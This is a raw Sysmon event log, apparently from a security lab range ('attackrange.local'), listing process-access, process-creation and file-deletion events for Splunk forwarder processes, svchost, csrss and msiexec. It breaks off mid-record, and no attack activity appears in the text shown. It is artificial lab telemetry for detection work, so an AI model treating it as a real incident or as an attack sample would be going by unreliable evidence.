10341000x800000000000000013479Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6ED8-613B-8804-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013478Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.828{625C326B-6ED8-613B-8804-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013477Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F2298197AAC2E5597A59917AA0E571E1,SHA256=542D274B9C60718304242B8F64E91F830E3FBAE656A5ED182CABE7A80BACE8B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013476Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EEF28392BD85A539980F34B73437C5CB,SHA256=A7C6028B117E5215395BF8DE1A33B41AC21B796C4058C2D20A73A3E76BEE2997,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:32.806{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:32.634{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0EBB7EAC0F6EC9FABDE44449C347B367,SHA256=5A201398077B480AE05DF2CA3DFD733C22F255BCAB596F2FDECF6C4B28283FC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:32.275{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56D976D306B2327DAB30EFAECCA84123,SHA256=467D843A4D1FAB641E29E141C515F2C3DBBB927C5BCF4781A0A0CE1050B49E6E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013475Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.466{625C326B-6ED8-613B-8704-00000000F101}16244008C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013474Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6ED8-613B-8704-00000000F101}1624C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013473Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013472Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013471Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013470Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013469Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013468Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013467Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013466Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013465Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013464Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6ED8-613B-8704-00000000F101}1624C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013463Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.199{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6ED8-613B-8704-00000000F101}1624C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013462Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.200{625C326B-6ED8-613B-8704-00000000F101}1624C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:33.650{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0E958D0BDC986AD8E8F9547A36A1B0A0,SHA256=779B4B2B70390FE8304A7C12EF00378C640D7B31CD992443FE7AC97741A4FDB6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:33.462{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:33.387{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C379B7C6F2B76B654E0F9DCCEF411135,SHA256=6FE3AF3E312A12B56035FF8EE69CDF7EDCEC5AAA4A12AC49BD8AC46428DB6FE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013492Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:33.840{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CC91B88F2575C93127AEC1D0CE214773,SHA256=6A5E80E423218F893838443E65A65CF2895F83933FF812474168892C7CA1D9A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:34.665{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7EB471DFC38657773F7EDD5086A236C6,SHA256=4ABA2D177B7DAEFFE3F3E75029B33A0CFEABCB278251EB5F5F8A4ECC06DEF2C1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:34.400{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=370F08DB68F9DFA1138E546DB3B56ABC,SHA256=3362BC065D992014B0D3CDC98F8C999EEEAC71013E4E1DA0CD498D8260D515FE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013507Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.481{625C326B-6EDA-613B-8904-00000000F101}40043032C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013506Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6EDA-613B-8904-00000000F101}4004C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013505Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013504Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013503Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013502Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 